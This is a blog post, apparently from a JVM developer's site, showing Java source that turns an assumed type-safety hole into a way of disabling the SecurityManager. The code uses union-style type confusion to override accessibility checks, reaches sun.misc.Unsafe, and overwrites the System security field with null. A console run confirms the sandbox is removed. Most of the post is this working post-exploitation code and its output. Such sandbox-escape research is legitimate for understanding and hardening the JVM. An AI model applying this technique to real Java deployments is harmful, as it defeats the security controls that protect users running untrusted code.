Suppose you have a type safety vulnerability in Java, you could use it to execute native code, but you can also simply disable the SecurityManager:
import java.io.*; import java.lang.ref.*; import java.lang.reflect.*; class Union1 { ObjectStreamClass osc; Class c; AccessibleObject acc; } class Union2 { MyObjectStreamClass osc; MyClass c; MyAccessibleObject acc; } class MyObjectStreamClass { int i1; int i2; int i3; int i4; Object obj1; Object obj2; Long suid; } class MyClass { int i1; int i2; int i3; int i4; Object obj1; Object obj2; Object obj3; Object obj4; SoftReference<Field[]> declaredFields; Object obj6; SoftReference<Method[]> declaredMethods; Object obj8; } class MyAccessibleObject { boolean override; } class DisableSecurityManager { static Union1 u1 = new Union1(); static Union2 u2; static Method privateGetDeclaredFields; static Method privateGetDeclaredMethods; public static void main(String[] args) throws Exception { u2 = TypeSafetyHole.setupUnions(u1); disableSecurityManager(); } static void disableSecurityManager() throws Exception { initReflection(); Object unsafe = getField(java.util.Random.class, "unsafe").get(null); Method staticFieldBase = getMethod(unsafe.getClass(), "staticFieldBase"); Method staticFieldOffset = getMethod(unsafe.getClass(), "staticFieldOffset"); Object base_System = staticFieldBase.invoke(unsafe, System.class); Method getObject = getMethod(unsafe.getClass(), "getObjectVolatile"); Method putObject = getMethod(unsafe.getClass(), "putObjectVolatile"); SecurityManager sm = System.getSecurityManager(); System.out.println(sm); for (int i = 0; ; i += 4) { if (getObject.invoke(unsafe, base_System, i) == sm) { System.out.println("found it!"); putObject.invoke(unsafe, base_System, i, null); break; } } System.out.println(System.getSecurityManager()); } static void initReflection() throws Exception { u1.osc = ObjectStreamClass.lookup(Class.class); u1.c = Class.class; System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID()); u2.osc.suid = null; System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID()); for (Method m : u2.c.declaredMethods.get()) { if (m.getName().equals("privateGetDeclaredFields")) { u1.acc = m; u2.acc.override = true; privateGetDeclaredFields = m; } if (m.getName().equals("privateGetDeclaredMethods")) { u1.acc = m; u2.acc.override = true; privateGetDeclaredMethods = m; } } } static Field getField(Class c, String name) throws Exception { Field[] fields = (Field[])privateGetDeclaredFields.invoke(c, false); for (Field f : fields) { if (f.getName().equals(name)) { u1.acc = f; u2.acc.override = true; return f; } } throw new Error("Field not found"); } static Method getMethod(Class c, String name) throws Exception { Method[] methods = (Method[])privateGetDeclaredMethods.invoke(c, false); for (Method m : methods) { if (m.getName().equals(name)) { u1.acc = m; u2.acc.override = true; return m; } } throw new Error("Method not found"); } }
This code requires JDK 7. Note that you can't use reflection to access the System.security field, because it is special cased by the reflection code (cute, but not very effective).
Here's how it runs (given a suitable implementation of TypeSafetyHole):
C:\j>\jdk1.7\bin\java -Djava.security.manager DisableSecurityManager 3206093459760846163 5184993009896724798 java.lang.SecurityManager@150ac9a8 found it! null
Remember Me
I apologize for the lameness of this, but the comment spam was driving me nuts. In order to be able to post a comment, you need to answer a simple question. Hopefully this question is easy enough not to annoy serious commenters, but hard enough to keep the spammers away.
Anti-Spam Question: What method on java.lang.System returns an object's original hashcode (i.e. the one that would be returned by java.lang.Object.hashCode() if it wasn't overridden)? (case is significant)
Powered by: newtelligence dasBlog 2.3.12105.0
© Copyright 2019, Jeroen Frijters
E-mail